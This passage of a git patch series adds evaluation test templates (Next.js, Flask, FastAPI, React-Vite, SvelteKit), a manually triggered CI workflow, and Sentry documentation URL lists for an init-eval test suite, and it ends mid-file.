"^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/node": "^22", + "@types/react": "^19", + "@types/react-dom": "^19", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/nextjs-app/src/app/layout.tsx b/test/init-eval/templates/nextjs-app/src/app/layout.tsx new file mode 100644 index 00000000..588e8851 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/layout.tsx @@ -0,0 +1,16 @@ +export const metadata = { + title: "Test App", + description: "A test Next.js app", +}; + +export default function RootLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( + + {children} + + ); +} diff --git a/test/init-eval/templates/nextjs-app/src/app/page.tsx b/test/init-eval/templates/nextjs-app/src/app/page.tsx new file mode 100644 index 00000000..aa58cf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/page.tsx @@ -0,0 +1,3 @@ +export default function Home() { + return

Hello World

; +} diff --git a/test/init-eval/templates/nextjs-app/tsconfig.json b/test/init-eval/templates/nextjs-app/tsconfig.json new file mode 100644 index 00000000..fba2bf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2017", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [{ "name": "next" }], + "paths": { "@/*": ["./src/*"] } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/test/init-eval/templates/python-flask-app/.gitignore b/test/init-eval/templates/python-flask-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-flask-app/app.py b/test/init-eval/templates/python-flask-app/app.py new file mode 100644 index 00000000..cfa9e477 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/app.py @@ -0,0 +1,12 @@ +from flask import Flask + +app = Flask(__name__) + + +@app.route("/") +def hello(): + return {"message": "Hello World"} + + +if __name__ == "__main__": + app.run(debug=True) diff --git a/test/init-eval/templates/python-flask-app/requirements.txt b/test/init-eval/templates/python-flask-app/requirements.txt new file mode 100644 index 00000000..001e7c4a --- /dev/null +++ b/test/init-eval/templates/python-flask-app/requirements.txt @@ -0,0 +1 @@ +flask>=3.0 diff --git a/test/init-eval/templates/react-vite-app/.gitignore b/test/init-eval/templates/react-vite-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/react-vite-app/index.html b/test/init-eval/templates/react-vite-app/index.html new file mode 100644 index 00000000..71e5e784 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/index.html @@ -0,0 +1,12 @@ + + + + + + React App + + +
+ + + diff --git a/test/init-eval/templates/react-vite-app/package.json b/test/init-eval/templates/react-vite-app/package.json new file mode 100644 index 00000000..669dc475 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/package.json @@ -0,0 +1,22 @@ +{ + "name": "react-vite-app", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview" + }, + "dependencies": { + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/react": "^19", + "@types/react-dom": "^19", + "@vitejs/plugin-react": "^4.3.0", + "typescript": "^5", + "vite": "^6.0.0" + } +} diff --git a/test/init-eval/templates/react-vite-app/src/app.tsx b/test/init-eval/templates/react-vite-app/src/app.tsx new file mode 100644 index 00000000..be4a1202 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/app.tsx @@ -0,0 +1,5 @@ +function App() { + return

Hello World

; +} + +export default App; diff --git a/test/init-eval/templates/react-vite-app/src/main.tsx b/test/init-eval/templates/react-vite-app/src/main.tsx new file mode 100644 index 00000000..74ab28da --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/main.tsx @@ -0,0 +1,9 @@ +import React from "react"; +import ReactDOM from "react-dom/client"; +import App from "./app"; + +ReactDOM.createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/test/init-eval/templates/react-vite-app/tsconfig.json b/test/init-eval/templates/react-vite-app/tsconfig.json new file mode 100644 index 00000000..9e82e3ff --- /dev/null +++ b/test/init-eval/templates/react-vite-app/tsconfig.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["src"] +} diff --git a/test/init-eval/templates/react-vite-app/vite.config.ts b/test/init-eval/templates/react-vite-app/vite.config.ts new file mode 100644 index 00000000..58676f78 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/vite.config.ts @@ -0,0 +1,6 @@ +import react from "@vitejs/plugin-react"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [react()], +}); diff --git a/test/init-eval/templates/sveltekit-app/.gitignore b/test/init-eval/templates/sveltekit-app/.gitignore new file mode 100644 index 00000000..31fda85b --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.svelte-kit/ +build/ diff --git a/test/init-eval/templates/sveltekit-app/package.json b/test/init-eval/templates/sveltekit-app/package.json new file mode 100644 index 00000000..77ae4f30 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/package.json @@ -0,0 +1,18 @@ +{ + "name": "sveltekit-app", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "vite dev", + "build": "vite build", + "preview": "vite preview" + }, + "devDependencies": { + "@sveltejs/adapter-auto": "^4.0.0", + "@sveltejs/kit": "^2.16.0", + "@sveltejs/vite-plugin-svelte": "^5.0.0", + "svelte": "^5.0.0", + "typescript": "^5", + "vite": "^6.0.0" + } +} diff --git a/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte new file mode 100644 index 00000000..f3e333e8 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte @@ -0,0 +1 @@ +

Hello World

diff --git a/test/init-eval/templates/sveltekit-app/svelte.config.js b/test/init-eval/templates/sveltekit-app/svelte.config.js new file mode 100644 index 00000000..3fc56b9c --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/svelte.config.js @@ -0,0 +1,12 @@ +import adapter from "@sveltejs/adapter-auto"; +import { vitePreprocess } from "@sveltejs/vite-plugin-svelte"; + +/** @type {import('@sveltejs/kit').Config} */ +const config = { + preprocess: vitePreprocess(), + kit: { + adapter: adapter(), + }, +}; + +export default config; diff --git a/test/init-eval/templates/sveltekit-app/tsconfig.json b/test/init-eval/templates/sveltekit-app/tsconfig.json new file mode 100644 index 00000000..43447105 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/tsconfig.json @@ -0,0 +1,14 @@ +{ + "extends": "./.svelte-kit/tsconfig.json", + "compilerOptions": { + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "sourceMap": true, + "strict": true, + "moduleResolution": "bundler" + } +} diff --git a/test/init-eval/templates/sveltekit-app/vite.config.ts b/test/init-eval/templates/sveltekit-app/vite.config.ts new file mode 100644 index 00000000..80864b9d --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/vite.config.ts @@ -0,0 +1,6 @@ +import { sveltekit } from "@sveltejs/kit/vite"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [sveltekit()], +}); From 476bcbc2169c043c71e4b89a08b7b9e25b29873d Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:43 +0100 Subject: [PATCH 13/72] ci: add workflow_dispatch CI job for init-eval tests Add a separate workflow for running init-eval tests on demand. Supports running a single platform or all platforms via matrix. Uses the init-eval GitHub environment for MASTRA_API_URL and OPENAI_API_KEY secrets. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 47 +++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 .github/workflows/init-eval.yml diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml new file mode 100644 index 00000000..f3e02e85 --- /dev/null +++ b/.github/workflows/init-eval.yml @@ -0,0 +1,47 @@ +name: Init Eval + +on: + workflow_dispatch: + inputs: + platform: + description: "Platform to evaluate (or 'all')" + required: true + default: all + type: choice + options: + - all + - express + - nextjs + - python-flask + - react-vite + - sveltekit + +jobs: + eval: + name: Eval ${{ matrix.platform }} + runs-on: ubuntu-latest + environment: init-eval + strategy: + fail-fast: false + matrix: + platform: ${{ inputs.platform == 'all' + && fromJson('["express","nextjs","python-flask","react-vite","sveltekit"]') + || fromJson(format('["{0}"]', inputs.platform)) }} + steps: + - uses: actions/checkout@v4 + - uses: oven-sh/setup-bun@v2 + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + - uses: actions/cache@v4 + id: cache + with: + path: node_modules + key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} + - if: steps.cache.outputs.cache-hit != 'true' + run: bun install --frozen-lockfile + - name: Run eval + env: + MASTRA_API_URL: ${{ secrets.MASTRA_API_URL }} + OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} + run: bun test ./test/init-eval/${{ matrix.platform }}.eval.test.ts --timeout 600000 From 193a467b8a2857fc96cef3e1d7c1233fa797fe3f Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 19:15:37 +0100 Subject: [PATCH 14/72] fix(init): use .md URL conversion in eval docs-fetcher Store python-fastapi doc URLs as base paths (with trailing slash) like other platforms, and convert to .md at fetch time. This mirrors the pattern in cli-init-api and lets us return clean markdown directly instead of stripping HTML tags. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 8 +++++++ test/init-eval/helpers/docs-fetcher.ts | 30 +++++++++----------------- 2 files changed, 18 insertions(+), 20 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 87f94496..d2fb118b 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -41,6 +41,14 @@ "profiling": [] }, + "python-fastapi": { + "getting-started": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"] + }, + "sveltekit": { "getting-started": [], "errors": [], diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts index 4fb9936d..e4fe2325 100644 --- a/test/init-eval/helpers/docs-fetcher.ts +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -1,3 +1,7 @@ +function toMarkdownUrl(docsUrl: string): string { + return docsUrl.replace(/\/+$/, "") + ".md"; +} + /** * Fetch Sentry documentation pages and extract plain text for use as * ground-truth reference material in LLM judge prompts. @@ -27,34 +31,20 @@ export async function fetchDocsContent(urls: string[]): Promise { } async function fetchOne(url: string, charLimit: number): Promise { + const mdUrl = toMarkdownUrl(url); try { - const res = await fetch(url, { + const res = await fetch(mdUrl, { headers: { "User-Agent": "sentry-init-eval/1.0" }, }); if (!res.ok) { - return `(failed to fetch ${url}: ${res.status})`; + return `(failed to fetch ${mdUrl}: ${res.status})`; } - const html = await res.text(); - - // Strip HTML tags, collapse whitespace - const text = html - .replace(//gi, "") - .replace(//gi, "") - .replace(/<[^>]+>/g, " ") - .replace(/ /g, " ") - .replace(/&/g, "&") - .replace(/</g, "<") - .replace(/>/g, ">") - .replace(/"/g, '"') - .replace(/'/g, "'") - .replace(/\s+/g, " ") - .trim(); - - return text.slice(0, charLimit); + const text = await res.text(); + return text.trim().slice(0, charLimit); } catch (err) { const msg = err instanceof Error ? err.message : String(err); - return `(failed to fetch ${url}: ${msg})`; + return `(failed to fetch ${mdUrl}: ${msg})`; } } From bcb10f285d890b2913621a0652345a5791a45f5d Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:02:21 +0100 Subject: [PATCH 15/72] feat(init): add flask and python profiling doc URLs Add Sentry doc URLs for python-flask (getting-started, errors, tracing, logs, profiling) and add the shared python/profiling page to both flask and fastapi profiling entries. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index d2fb118b..7eda00c0 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -33,12 +33,12 @@ }, "python-flask": { - "getting-started": [], - "errors": [], - "tracing": [], - "logs": [], + "getting-started": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "errors": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "tracing": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "logs": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "metrics": [], - "profiling": [] + "profiling": ["https://docs.sentry.io/platforms/python/integrations/flask/", "https://docs.sentry.io/platforms/python/profiling/"] }, "python-fastapi": { @@ -46,7 +46,7 @@ "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"] + "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/", "https://docs.sentry.io/platforms/python/profiling/"] }, "sveltekit": { From 129e7b75bc7a6fde47bf5fb1a749d31147a9a9d1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:54:08 +0100 Subject: [PATCH 16/72] feat(init): add nextjs doc URLs for eval ground truth Add Sentry doc URLs for all nextjs features: getting-started, errors, logs, tracing, session replay, metrics, and profiling (browser + node). Sourcemaps left empty for now. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 7eda00c0..080a2c76 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -13,14 +13,14 @@ ], "nextjs": { - "getting-started": [], - "errors": [], - "logs": [], - "tracing": [], - "replay": [], - "metrics": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/logs/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/"], + "replay": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/"], "sourcemaps": [], - "profiling": [] + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/"] }, "express": { From b6c10b79343821dff491e8d844fed82987b25053 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:58:28 +0100 Subject: [PATCH 17/72] feat(init): add sveltekit doc URLs for eval ground truth Add Sentry doc URLs for sveltekit features and add missing logs, metrics, and profiling features to the platform entry. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 080a2c76..e649e214 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -50,11 +50,14 @@ }, "sveltekit": { - "getting-started": [], - "errors": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/"], "sourcemaps": [], - "replay": [], - "tracing": [] + "replay": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/"] }, "react-vite": { From a8156c0b5a7c146758ba3ceaf0ccf94a38eb591a Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 21:01:08 +0100 Subject: [PATCH 18/72] feat(init): add react-vite doc URLs for eval ground truth Add Sentry doc URLs for react-vite features and add missing logs, metrics, and profiling features to the platform entry. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index e649e214..16855def 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -61,10 +61,13 @@ }, "react-vite": { - "getting-started": [], - "errors": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/react/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/react/", "https://docs.sentry.io/platforms/javascript/guides/react/usage/"], "sourcemaps": [], - "replay": [], - "tracing": [] + "replay": ["https://docs.sentry.io/platforms/javascript/guides/react/session-replay/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/react/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/react/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/react/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/react/profiling/"] } } From 1d29ebdd17fa82d5a8cfa2837f1f25adf2b76e3e Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:07:52 +0100 Subject: [PATCH 19/72] fix(init): use venv for flask build check and remove opencode-lore dep Flask eval was using bare `pip install` which fails when pip isn't on PATH. Use the same venv pattern as fastapi. Also remove accidental opencode-lore runtime dependency. Co-Authored-By: Claude Opus 4.6 --- package.json | 3 --- test/init-eval/helpers/platforms.ts | 16 ++++++++++++++-- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/package.json b/package.json index 555ce054..3ebecbce 100644 --- a/package.json +++ b/package.json @@ -67,8 +67,5 @@ "packageManager": "bun@1.3.9", "patchedDependencies": { "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch" - }, - "dependencies": { - "opencode-lore": "^0.1.0" } } diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index 402e2c53..471caf61 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -91,8 +91,20 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-flask"), - installCmd: "pip install -r requirements.txt", - buildCmd: "python -m compileall -q .", + installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "python-fastapi", + name: "FastAPI", + templateDir: join(TEMPLATES_DIR, "python-fastapi-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-fastapi"), + installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, }, From ce9614f80515270c32e2ea036603442be7e701ab Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:12:49 +0100 Subject: [PATCH 20/72] feat(init): add python-fastapi eval test and gitignore package-lock Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 3 ++- .gitignore | 1 + test/init-eval/python-fastapi.eval.test.ts | 3 +++ test/init-eval/templates/python-fastapi-app/.gitignore | 4 ++++ test/init-eval/templates/python-fastapi-app/main.py | 8 ++++++++ .../templates/python-fastapi-app/requirements.txt | 2 ++ 6 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 test/init-eval/python-fastapi.eval.test.ts create mode 100644 test/init-eval/templates/python-fastapi-app/.gitignore create mode 100644 test/init-eval/templates/python-fastapi-app/main.py create mode 100644 test/init-eval/templates/python-fastapi-app/requirements.txt diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index f3e02e85..d6b23e51 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -12,6 +12,7 @@ on: - all - express - nextjs + - python-fastapi - python-flask - react-vite - sveltekit @@ -25,7 +26,7 @@ jobs: fail-fast: false matrix: platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-flask","react-vite","sveltekit"]') + && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') || fromJson(format('["{0}"]', inputs.platform)) }} steps: - uses: actions/checkout@v4 diff --git a/.gitignore b/.gitignore index 9e4b370a..6649b97d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # dependencies (bun install) node_modules +package-lock.json # output out diff --git a/test/init-eval/python-fastapi.eval.test.ts b/test/init-eval/python-fastapi.eval.test.ts new file mode 100644 index 00000000..8849f8ff --- /dev/null +++ b/test/init-eval/python-fastapi.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-fastapi"); diff --git a/test/init-eval/templates/python-fastapi-app/.gitignore b/test/init-eval/templates/python-fastapi-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-fastapi-app/main.py b/test/init-eval/templates/python-fastapi-app/main.py new file mode 100644 index 00000000..469a6503 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/main.py @@ -0,0 +1,8 @@ +from fastapi import FastAPI + +app = FastAPI() + + +@app.get("/") +def hello(): + return {"message": "Hello World"} diff --git a/test/init-eval/templates/python-fastapi-app/requirements.txt b/test/init-eval/templates/python-fastapi-app/requirements.txt new file mode 100644 index 00000000..c5573034 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/requirements.txt @@ -0,0 +1,2 @@ +fastapi>=0.115.0 +uvicorn>=0.34.0 From 3227619ed50b4fb8a91b0e686ef198c5c8319ced Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:14:01 +0100 Subject: [PATCH 21/72] style(init): fix lint formatting in eval test files Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 132 +++++++++++++++++++------ test/init-eval/helpers/docs-fetcher.ts | 2 +- test/init-eval/helpers/platforms.ts | 6 +- 3 files changed, 107 insertions(+), 33 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 16855def..f987f4c0 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -13,61 +13,133 @@ ], "nextjs": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/" + ], "logs": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/logs/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/"], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/"], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/" + ], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/" + ], "sourcemaps": [], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/"] + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/" + ] }, "express": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/express/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/express/usage/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/express/tracing/"], - "logs": ["https://docs.sentry.io/platforms/javascript/guides/express/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/express/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/express/profiling/"] + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/express/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/express/usage/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/express/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/express/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/express/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/express/profiling/" + ] }, "python-flask": { - "getting-started": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/flask/" + ], "errors": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "tracing": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "logs": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "metrics": [], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/flask/", "https://docs.sentry.io/platforms/python/profiling/"] + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/flask/", + "https://docs.sentry.io/platforms/python/profiling/" + ] }, "python-fastapi": { - "getting-started": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "tracing": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/", "https://docs.sentry.io/platforms/python/profiling/"] + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/", + "https://docs.sentry.io/platforms/python/profiling/" + ] }, "sveltekit": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/" + ], "sourcemaps": [], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/"], - "logs": 